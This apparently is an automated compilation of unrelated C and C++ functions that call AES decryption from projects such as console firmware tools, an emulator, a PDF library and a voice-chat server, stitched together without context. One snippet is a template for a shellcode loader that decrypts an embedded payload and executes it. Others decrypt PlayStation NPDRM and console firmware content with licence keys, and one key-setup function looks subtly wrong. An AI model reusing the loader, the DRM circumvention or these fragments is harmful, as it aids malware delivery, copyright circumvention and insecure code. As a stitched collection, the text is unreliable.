u8 *eid2_generate_block_buffer(u8 *eid2, u32 blocktype)
{
u8 *res = NULL, indiv[INDIV_SIZE];
aes_context aes_ctxt;
//Generate individuals.
indiv_gen(eid2_indiv_seed, NULL, NULL, NULL, indiv);
eid2_header_t *h = (eid2_header_t *)eid2;
//Fix header.
_es_eid2_header(h);
switch(blocktype)
{
case EID2_BLOCKTYPE_P:
res = (u8 *)malloc(h->p_len);
aes_setkey_dec(&aes_ctxt, indiv + INDIV_EID2_KEY_OFFSET, 0x100);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, h->p_len, indiv + INDIV_EID2_IV_OFFSET, eid2 + sizeof(eid2_header_t), res);
break;
case EID2_BLOCKTYPE_S:
res = (u8 *)malloc(h->s_len);
aes_setkey_dec(&aes_ctxt, indiv + INDIV_EID2_KEY_OFFSET, 0x100);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, h->s_len, indiv + INDIV_EID2_IV_OFFSET, eid2 + sizeof(eid2_header_t) + h->p_len, res);
break;
}
//Fix header.
_es_eid2_header(h);
return res;
}
void ctr_init_cbc_decrypt( ctr_aes_context* ctx,
u8 key[16],
u8 iv[16] )
{
aes_setkey_dec(&ctx->aes, key, 128);
ctr_set_iv(ctx, iv);
}
int main()
{
unsigned char key[16] = "123456789012344";
const unsigned char input[16] = "hallozestien34";
unsigned char output[16];
unsigned char original_input[16];
printf("%s\n", input);
aes_context ctx;
aes_setkey_enc(&ctx, key, 128);
aes_crypt_ecb(&ctx, AES_ENCRYPT, input, output);
unsigned char output_buf[1024];
size_t baselen = 1024;
base64_encode(output_buf, &baselen, output, 16);
printf("%s\n", output_buf);
aes_setkey_dec(&ctx, key, 128);
aes_crypt_ecb(&ctx, AES_DECRYPT, output, original_input);
printf("original input:\n%s\n", original_input);
return 0;
}
static int l_aes128decrypt_ecb(lua_State *L)
{
//Check number of arguments
int i;
size_t size;
const char *p_key = luaL_checklstring(L, 1, &size);
if(size != 32) return returnToLuaWithError(L,"Wrong size of key, got %d bytes, expected 32", (int) size);
const char *p_encTxt = luaL_checklstring(L, 2, &size);
unsigned char indata[16] = {0x00};
unsigned char outdata[16] = {0x00};
unsigned char aes_key[16] = {0x00};
// convert key to bytearray and convert input to bytearray
for (i = 0; i < 32; i += 2) {
sscanf(&p_encTxt[i], "%02x", (unsigned int *)&indata[i / 2]);
sscanf(&p_key[i], "%02x", (unsigned int *)&aes_key[i / 2]);
}
aes_context ctx;
aes_init(&ctx);
aes_setkey_dec(&ctx, aes_key, 128);
aes_crypt_ecb(&ctx, AES_DECRYPT, indata, outdata );
//Push decrypted array as a string
lua_pushlstring(L,(const char *)&outdata, sizeof(outdata));
return 1;// return 1 to signal one return value
}
int
cryAesDecrypt(const char *sKey, int iKeyLen,
const char *sInBuf, int iInLen,
char *sOutBuf, int *piOutLen)
{
unsigned char sHash[48];
unsigned char *pIV = sHash + 32;
aes_context tCtx;
if (iInLen % 16 || *piOutLen < iInLen) {
return -1;
}
*piOutLen = iInLen;
sha4((const unsigned char *)sKey, iKeyLen, sHash, 1);
aes_setkey_dec(&tCtx, sHash, 256);
if (aes_crypt_cbc(&tCtx, DES_DECRYPT, iInLen, pIV,
(const unsigned char *)sInBuf,
(unsigned char *)sOutBuf) != 0) {
return -2;
}
return 0;
}
int main(int argc, char **argv){
unsigned char key[16];
unsigned char iv[16] = %s;
unsigned char input[] = %s;
size_t input_len = %d;
unsigned char output[%d];
unsigned char passw[] = "%s";
size_t in_len = %d;
/* Generate a 128 bits key from the password */
md5_context md5_ctx;
md5_starts(&md5_ctx);
md5_update(&md5_ctx, passw, in_len);
md5_finish(&md5_ctx, key);
/* Decrypt the payload */
aes_context aes;
aes_setkey_dec(&aes, key, 128);
aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output);
/* Execute decrypted shellcode */
((void (*)()) output)();
return 0;
}
OSStatus
AES_CBCFrame_Init(
AES_CBCFrame_Context * inContext,
const uint8_t inKey[ kAES_CBCFrame_Size ],
const uint8_t inIV[ kAES_CBCFrame_Size ],
Boolean inEncrypt )
{
#if( AES_UTILS_USE_COMMON_CRYPTO )
OSStatus err;
inContext->cryptor = NULL;
err = CCCryptorCreate( inEncrypt ? kCCEncrypt : kCCDecrypt, kCCAlgorithmAES128, 0, inKey, kAES_CTR_Size,
NULL, &inContext->cryptor );
check_noerr( err );
if( err ) return( err );
#elif( AES_UTILS_USE_GLADMAN_AES )
aes_init();
if( inEncrypt ) aes_encrypt_key128( inKey, &inContext->ctx.encrypt );
else aes_decrypt_key128( inKey, &inContext->ctx.decrypt );
inContext->encrypt = inEncrypt;
#elif( AES_UTILS_USE_USSL )
if( inEncrypt ) aes_setkey_enc( &inContext->ctx, (unsigned char *) inKey, kAES_CBCFrame_Size * 8 );
else aes_setkey_dec( &inContext->ctx, (unsigned char *) inKey, kAES_CBCFrame_Size * 8 );
inContext->encrypt = inEncrypt;
#else
if( inEncrypt ) AES_set_encrypt_key( inKey, kAES_CBCFrame_Size * 8, &inContext->key );
else AES_set_decrypt_key( inKey, kAES_CBCFrame_Size * 8, &inContext->key );
inContext->mode = inEncrypt ? AES_ENCRYPT : AES_DECRYPT;
#endif
memcpy( inContext->iv, inIV, kAES_CBCFrame_Size );
return( kNoErr );
}
struct obj_str *aes_decrypt(UCHAR * cipher, int cipherlen, UCHAR * iv,
char *key, int keylen)
{
UCHAR plaintext[AES_MSG_SIZE];
UCHAR digest[AES_KEY_SIZE];
aes_context aes_ctx;
struct obj_str *plain = NULL;
if (cipherlen % AES_BLOCK_SIZE != 0) {
return NULL;
}
/* Setup AES context with the key and the IV */
aes_key_setup(digest, iv, key, keylen);
if (aes_setkey_dec(&aes_ctx, digest, 256) != 0) {
return NULL;
}
/* Decrypt message */
memset(plaintext, '\0', AES_MSG_SIZE);
if (aes_crypt_cbc
(&aes_ctx, AES_DECRYPT, cipherlen, iv, cipher, plaintext) != 0) {
return NULL;
}
plain = str_init(plaintext, cipherlen);
/* The decrypted message may be bigger than the original message, but
* the bencode parser can handle that. */
return plain;
}
/*
설명 : AES 복호화 함수
입력 :
fp : Bin파일 포인터
pData : Bin파일 데이터
nHeaderSize : 헤더사이즈
*/
BOOL cAESFile::AESDecryptData(FILE* fp, char* pData, DWORD dwDataSize, DWORD dwType)
{
if(fp == NULL) { return FALSE; }
if(pData == NULL) { return FALSE; }
int n, keylen;
int filesize, offset;
char *p;
char crc, crc1, crc2;
unsigned char key[512];
unsigned char buffer[1024];
aes_context aes_ctx;
filesize = dwDataSize;
fread( &crc1, sizeof(char), 1, fp ); // crc1
// 키값 생성
p = (char*)m_aCurKey;
keylen = 0;
memset( key, 0, sizeof( key ) );
while( sscanf( p, "%02X", &n ) > 0 &&
keylen < (int) sizeof( key ) )
{
key[keylen++] = (unsigned char) n;
p += 2;
}
aes_setkey_dec( &aes_ctx, key, 256 );
crc = (char)dwType;
// 불럭단위로 데이터를 복호화하여 메모리에 저장한다.
for( offset = 0; offset < filesize; offset += 16 )
{
if( fread( buffer, 1, 16, fp ) != 16 )
{
MessageBox( NULL, _T( "fread Error!!" ), _T( "Error!!" ), MB_OK );
memset( buffer, 0, sizeof( buffer ) );
memset( &aes_ctx, 0, sizeof( aes_context ) );
return FALSE;
}
aes_crypt_ecb( &aes_ctx, AES_DECRYPT, buffer, buffer );
for(int i=0; i<16; i++)
{
pData[offset+i] = buffer[i];
crc = crc + pData[offset+i];
}
}
fread( &crc2, sizeof(char), 1, fp ); // crc2
if((crc1 != crc2) || (crc1 != crc))
{
MessageBox( NULL, _T( "CheckCrc Error!!" ), _T( "Error!!" ), MB_OK );
memset( buffer, 0, sizeof( buffer ) );
memset( &aes_ctx, 0, sizeof( aes_context ) );
return FALSE;
}
return TRUE;
}
void ctr_init_cbc_decrypt( ctr_crypto_context* ctx,
unsigned char key[16],
unsigned char iv[16] )
{
aes_setkey_dec(&ctx->aes, key, 128);
ctr_set_iv(ctx, iv);
}
////////////////////////////////////////////////////////////////////////////
//
// AES Encryption / Decryption - ECB Blocks
//
////////////////////////////////////////////////////////////////////////////
int AESCryptECB_Blocks( uint8 *key, uint8 keyLen, uint8 mode, uint8 nBlocks, uint8 *in, uint8 *out )
{
int i;
aes_context aes_ctx;
if( mode == AES_ENCRYPT )
{
aes_setkey_enc(&aes_ctx, key, keyLen*8); //PolarSSL takes key length in bits
}
else if( mode == AES_DECRYPT )
{
aes_setkey_dec(&aes_ctx, key, keyLen*8); //PolarSSL takes key length in bits
}
else
{
return (FAIL);
}
for( i = 0; i < nBlocks; i++)
{
if ( aes_crypt_ecb(&aes_ctx, mode, in, out) != aes_pass )
{
return (FAIL);
}
out += AES_BLOCK_SIZE;
in += AES_BLOCK_SIZE;
}
return ( PASS );
}
////////////////////////////////////////////////////////////////////////////
//
// AES Encryption / Decryption - ECB
//
////////////////////////////////////////////////////////////////////////////
int AESCryptECB( uint8 *key, uint8 keyLen, uint8 mode, uint8 *in, uint8 *out )
{
int ret;
aes_context aes_ctx;
if( mode == AES_ENCRYPT )
{
aes_setkey_enc(&aes_ctx, key, keyLen*8); //PolarSSL takes key length in bits
if ( (ret = aes_crypt_ecb (&aes_ctx, AES_ENCRYPT, in, out)) != aes_pass )
{
return (FAIL);
}
}
else if ( mode == AES_DECRYPT )
{
aes_setkey_dec(&aes_ctx, key, keyLen*8); //PolarSSL takes key length in bits
if ( (aes_crypt_ecb (&aes_ctx, AES_DECRYPT, in, out)) != aes_pass )
{
return (FAIL);
}
}
else
{
return ( FAIL );
}
return (PASS);
}
////////////////////////////////////////////////////////////////////////////
//
// AES Encryption / Decryption - CBC
//
////////////////////////////////////////////////////////////////////////////
int AESCryptCBC( uint8 *key, uint8 keyLen, uint8 mode, uint8 *iv, uint8 inLen, uint8 *in, uint8 *out )
{
aes_context aes_ctx;
int ret;
if(inLen % 16)
{
proj_printf("ERROR: Length is incorrect");
return inLen;
}
if ( mode == AES_ENCRYPT )
{
aes_setkey_enc(&aes_ctx, key, keyLen*8); //PolarSSL takes key length in bits
if ( ( ret = aes_crypt_cbc(&aes_ctx, mode, inLen, iv, in, out) ) != aes_pass )
{
return ( FAIL );
}
}
else if ( mode == AES_DECRYPT )
{
aes_setkey_dec(&aes_ctx, key, keyLen*8); //PolarSSL takes key length in bits
if ( (aes_crypt_cbc (&aes_ctx, mode, inLen, iv, in, out)) != aes_pass )
{
return (FAIL);
}
}
else
{
return ( FAIL );
}
return ( PASS );
}
void CNANDContentLoader::AESDecode(u8* _pKey, u8* _IV, u8* _pSrc, u32 _Size, u8* _pDest)
{
aes_context AES_ctx;
aes_setkey_dec(&AES_ctx, _pKey, 128);
aes_crypt_cbc(&AES_ctx, AES_DECRYPT, _Size, _IV, _pSrc, _pDest);
}
fz_error
fz_newaesdfilter(fz_filter **fp, unsigned char *key, unsigned keylen)
{
FZ_NEWFILTER(fz_aesd, f, aesdfilter);
aes_setkey_dec(&f->aes, key, keylen * 8);
f->ivcount = 0;
return fz_okay;
}
uint8_t *decryptFirmTitle(uint8_t *title, unsigned int size, uint8_t key[16])
{
uint8_t iv[0x10] = {0};
aes_context aes_ctxt;
aes_setkey_dec(&aes_ctxt, &key[0], 0x80);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, size, iv, title, title);
return decryptFirmTitleNcch(title, size);
}
fz_filter *
fz_newaesdfilter(unsigned char *key, unsigned keylen)
{
FZ_NEWFILTER(fz_aesd, f, aesdfilter);
aes_setkey_dec(&f->aes, key, keylen * 8);
f->ivcount = 0;
return (fz_filter *)f;
}
CoAPMessageType::Enum
SparkProtocol::received_message(unsigned char *buf, int length)
{
unsigned char next_iv[16];
memcpy(next_iv, buf, 16);
aes_setkey_dec(&aes, key, 128);
aes_crypt_cbc(&aes, AES_DECRYPT, length, iv_receive, buf, buf);
memcpy(iv_receive, next_iv, 16);
char path = buf[ 5 + (buf[0] & 0x0F) ];
switch (CoAP::code(buf))
{
case CoAPCode::GET:
switch (path)
{
case 'v': return CoAPMessageType::VARIABLE_REQUEST;
case 'd': return CoAPMessageType::DESCRIBE;
default: break;
} break;
case CoAPCode::POST:
switch (path)
{
case 'E':
case 'e':
return CoAPMessageType::EVENT;
case 'h': return CoAPMessageType::HELLO;
case 'f': return CoAPMessageType::FUNCTION_CALL;
case 's': return CoAPMessageType::SAVE_BEGIN;
case 'u': return CoAPMessageType::UPDATE_BEGIN;
case 'c': return CoAPMessageType::CHUNK;
default: break;
} break;
case CoAPCode::PUT:
switch (path)
{
case 'k': return CoAPMessageType::KEY_CHANGE;
case 'u': return CoAPMessageType::UPDATE_DONE;
case 's':
if (buf[8]) return CoAPMessageType::SIGNAL_START;
else return CoAPMessageType::SIGNAL_STOP;
default: break;
} break;
case CoAPCode::EMPTY:
switch (CoAP::type(buf))
{
case CoAPType::CON: return CoAPMessageType::PING;
default: return CoAPMessageType::EMPTY_ACK;
} break;
case CoAPCode::CONTENT:
return CoAPMessageType::TIME;
default:
break;
}
return CoAPMessageType::ERROR;
}
uint8_t *decryptFirmTitle(uint8_t *title, size_t size, size_t *firmSize, uint8_t key[16])
{
aes_context aes_ctxt;
uint8_t iv[16] = { 0 };
aes_setkey_dec(&aes_ctxt, &key[0], 0x80);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, size, iv, title, title);
return decryptFirmTitleNcch(title, firmSize);
}
u8* decryptFirmTitle(u8* title, unsigned int size, unsigned int tid){
u8 key[0x10] = {0};
u8 iv[0x10] = {0};
GetTitleKey(&key[0], 0x00040138, tid);
aes_context aes_ctxt;
aes_setkey_dec(&aes_ctxt, &key[0], 0x80);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, size, iv, title, title);
return decryptFirmTitleNcch(title, size);
}
void eid3_decrypt_buffer(u8 *eid3)
{
u8 indiv[INDIV_SIZE];
u8 key[0x10], iv[0x10];
aes_context aes_ctxt;
//Generate individuals.
indiv_gen(eid3_indiv_seed, NULL, NULL, NULL, indiv);
//Generate key.
memset(iv, 0, 0x10);
aes_setkey_enc(&aes_ctxt, indiv + 0x20, 0x100);
aes_crypt_cbc(&aes_ctxt, AES_ENCRYPT, 0x10, iv, eid3_keyseed, key);
//Calculate eid3 aes omac1.
u8 digest[AES_OMAC1_DIGEST_SIZE];
aes_omac1(digest, eid3, 0xF0, key, 0x80);
_hexdump(stdout,"",0,digest,AES_OMAC1_DIGEST_SIZE,0);
_hexdump(stdout,"",0,(u8*)eid3 + 0xF0,AES_OMAC1_DIGEST_SIZE,0);
if(memcmp(digest, eid3 + 0xF0, AES_OMAC1_DIGEST_SIZE) != 0)
printf("warning: eid3 omac1 hash check failed!\n");
//Decrypt eid3.
aes_setkey_dec(&aes_ctxt, key, 0x80);
memcpy(iv, eid3 + 0x10, 0x10);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, 0xD0, iv, eid3 + 0x20, eid3 + 0x20);
//Decrypt second layer.
memset(iv, 0, 0x10);
aes_setkey_dec(&aes_ctxt, eid3_static_key, 0x80);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, 0xD0, iv, eid3 + 0x20, eid3 + 0x20);
u8 sha1_digest[20];
sha1(eid3 + 0x20, 0xB8, sha1_digest);
_hexdump(stdout,"",0,sha1_digest,20,0);
_hexdump(stdout,"",0,(u8*)eid3 + 0x20 + 0xB8,20,0);
if(memcmp(sha1_digest, eid3 + 0x20 + 0xB8, 20) != 0)
printf("warning: eid3 sha1 hash check failed!\n");
}
bool CVolumeWiiCrypted::ChangePartition(u64 offset)
{
m_VolumeOffset = offset;
m_LastDecryptedBlockOffset = -1;
u8 volume_key[16];
DiscIO::VolumeKeyForParition(*m_pReader, offset, volume_key);
aes_setkey_dec(m_AES_ctx.get(), volume_key, 128);
return true;
}
BOOL __stdcall np_decrypt_npdrm(sce_buffer_ctxt_t *ctxt)
{
aes_context aes_ctxt;
keyset_t *ks_np_klic_free, *ks_klic_key;
u8 npdrm_key[0x10];
u8 npdrm_iv[0x10];
ci_data_npdrm_t *np;
if((np = _sce_find_ci_npdrm(ctxt)) == NULL)
return FALSE;
//Try to find keysets.
ks_klic_key = keyset_find_by_name(CONFIG_NP_KLIC_KEY_KNAME);
if(ks_klic_key == NULL)
return FALSE;
if(_klicensee_key != NULL)
memcpy(npdrm_key, _klicensee_key, 0x10);
else if(np->license_type == NP_LICENSE_FREE)
{
ks_np_klic_free = keyset_find_by_name(CONFIG_NP_KLIC_FREE_KNAME);
if(ks_np_klic_free == NULL)
return FALSE;
memcpy(npdrm_key, ks_np_klic_free->erk, 0x10);
}
else if(np->license_type == NP_LICENSE_LOCAL)
{
if ((klicensee_by_content_id((s8 *)np->content_id, npdrm_key)) == FALSE)
return FALSE;
}
else
return FALSE;
aes_setkey_dec(&aes_ctxt, ks_klic_key->erk, METADATA_INFO_KEYBITS);
aes_crypt_ecb(&aes_ctxt, AES_DECRYPT, npdrm_key, npdrm_key);
memset(npdrm_iv, 0, 0x10);
aes_setkey_dec(&aes_ctxt, npdrm_key, METADATA_INFO_KEYBITS);
aes_crypt_cbc(&aes_ctxt, AES_DECRYPT, sizeof(metadata_info_t), npdrm_iv, (u8 *)ctxt->metai, (u8 *)ctxt->metai);
return TRUE;
}
CVolumeWiiCrypted::CVolumeWiiCrypted(std::unique_ptr<IBlobReader> reader, u64 _VolumeOffset,
const unsigned char* _pVolumeKey)
: m_pReader(std::move(reader)),
m_AES_ctx(new aes_context),
m_pBuffer(nullptr),
m_VolumeOffset(_VolumeOffset),
m_dataOffset(0x20000),
m_LastDecryptedBlockOffset(-1)
{
aes_setkey_dec(m_AES_ctx.get(), _pVolumeKey, 128);
m_pBuffer = new u8[s_block_total_size];
}
CVolumeWiiCrypted::CVolumeWiiCrypted(IBlobReader* _pReader, u64 _VolumeOffset,
const unsigned char* _pVolumeKey)
: m_pReader(_pReader),
m_AES_ctx(new aes_context),
m_pBuffer(nullptr),
m_VolumeOffset(_VolumeOffset),
m_dataOffset(0x20000),
m_LastDecryptedBlockOffset(-1)
{
aes_setkey_dec(m_AES_ctx.get(), _pVolumeKey, 128);
m_pBuffer = new u8[0x8000];
}
u8 PWS_ReadSlot (u8 Slot_u8, typePasswordSafeSlot_st * Slot_st)
{
u8* ReadPointer_pu8;
u8* AesKeyPointer_pu8;
if (PWS_SLOT_COUNT <= Slot_u8)
{
CI_LocalPrintf ("PWS_ReadSlot: Wrong slot nr %d\r\n", Slot_u8);
return (FALSE);
}
if (FALSE == PWS_GetDecryptedPasswordSafeKey (&AesKeyPointer_pu8))
{
CI_LocalPrintf ("PWS_ReadSlot: key not decrypted\r\n");
return (FALSE); // Aes key is not decrypted
}
// LED_GreenOn ();
// Get read address
ReadPointer_pu8 = (u8 *) (PWS_FLASH_START_ADDRESS + (PWS_SLOT_LENGTH * Slot_u8));
memcpy (Slot_st, ReadPointer_pu8, PWS_SLOT_LENGTH);
/*
#ifdef ENABLE_IBN_PWS_TESTS_ENCRYPTION CI_LocalPrintf ("PWS_ReadSlot encrypted : "); HexPrint (PWS_SLOT_LENGTH, Slot_st); CI_LocalPrintf
("\n\r"); #endif */
// Decrypt data (max 256 byte per encryption)
unsigned char Slot_st_decrypted[PWS_SLOT_LENGTH];
aes_context aes_ctx;
aes_setkey_dec (&aes_ctx, AesKeyPointer_pu8, 256);
// TODO: Create aes_crypt_ecb with length as parameter and break the
// input internally
int i;
for (i = 0; i < PWS_SLOT_LENGTH; i += 16)
{
aes_crypt_ecb (&aes_ctx, AES_DECRYPT, &(((unsigned char *) (Slot_st))[i]), &(Slot_st_decrypted[i]));
}
memcpy ((unsigned char *) (Slot_st), Slot_st_decrypted, PWS_SLOT_LENGTH);
/*
#ifdef ENABLE_IBN_PWS_TESTS_ENCRYPTION CI_LocalPrintf ("PWS_ReadSlot decrypted : "); HexPrint (PWS_SLOT_LENGTH, Slot_st_decrypted);
CI_LocalPrintf ("\n\r"); #endif */
// LED_GreenOff ();
return (TRUE);
}
void CryptState_genKey(cryptState_t *cs) {
RAND_bytes(cs->raw_key, AES_BLOCK_SIZE);
RAND_bytes(cs->encrypt_iv, AES_BLOCK_SIZE);
RAND_bytes(cs->decrypt_iv, AES_BLOCK_SIZE);
#ifndef USE_POLARSSL
AES_set_encrypt_key(cs->raw_key, 128, &cs->encrypt_key);
AES_set_decrypt_key(cs->raw_key, 128, &cs->decrypt_key);
#else
aes_setkey_enc(&cs->aes_enc, cs->raw_key, 128);
aes_setkey_dec(&cs->aes_dec, cs->raw_key, 128);
#endif
cs->bInit = true;
}
TEST_FIXTURE(AESFixture, SuccessfullyDecryptsOpenSSLExample)
{
unsigned char buf[32];
memcpy(buf, ciphertext, 32);
unsigned char iv[16];
memcpy(iv, credentials + 16, 16);
aes_context ctx;
aes_setkey_dec(&ctx, credentials, 128);
aes_crypt_cbc(&ctx, AES_DECRYPT, 32, iv, buf, buf);
CHECK_ARRAY_EQUAL(plaintext, buf, 32);
}
void CryptState_setKey(cryptState_t *cs, const unsigned char *rkey, const unsigned char *eiv, const unsigned char *div)
{
memcpy(cs->raw_key, rkey, AES_BLOCK_SIZE);
memcpy(cs->encrypt_iv, eiv, AES_BLOCK_SIZE);
memcpy(cs->decrypt_iv, div, AES_BLOCK_SIZE);
#ifndef USE_POLARSSL
AES_set_encrypt_key(cs->decrypt_iv, 128, &cs->encrypt_key);
AES_set_decrypt_key(cs->raw_key, 128, &cs->decrypt_key);
#else
aes_setkey_enc(&cs->aes_enc, cs->decrypt_iv, 128);
aes_setkey_dec(&cs->aes_dec, cs->raw_key, 128);
#endif
cs->bInit = true;
}
int decrypt_with_klic(sce_info_t *sce_info) {
npdrm_info_t *npdrm_info = npdrm_adjust_endianness_control_flag(sce_info);
if (!npdrm_info) {
return 0;
}
keyset_t *np_keyset = find_keyset_by_name("NP_klic_key");
if (!np_keyset) {
return 0;
}
uint8_t klic[16];
uint8_t iv[16];
aes_context aes_ctx;
if (klicensee) {
memcpy(klic, klicensee, 16);
} else if (npdrm_info->license_type == NPDRM_LICENSETYPE_FREE) {
keyset_t *klic_free = find_keyset_by_name("NP_klic_free");
if (!klic_free) {
return 0;
}
memcpy(klic, klic_free->erk_key, 16);
} else if (npdrm_info->license_type == NPDRM_LICENSETYPE_LOCAL) {
if (!decrypt_klicensee(npdrm_info->content_id, klic))
return 0;
} else {
return 0;
}
aes_setkey_dec(&aes_ctx, np_keyset->erk_key, np_keyset->erk_len * 8);
aes_crypt_ecb(&aes_ctx, AES_DECRYPT, klic, klic);
aes_setkey_dec(&aes_ctx, klic, 128);
memset(iv, 0, sizeof(iv));
aes_crypt_cbc(&aes_ctx, AES_DECRYPT, sizeof(metadata_t), iv, (uint8_t *) sce_info->metadata_aes_keys, (uint8_t *) sce_info->metadata_aes_keys);
return 1;
}
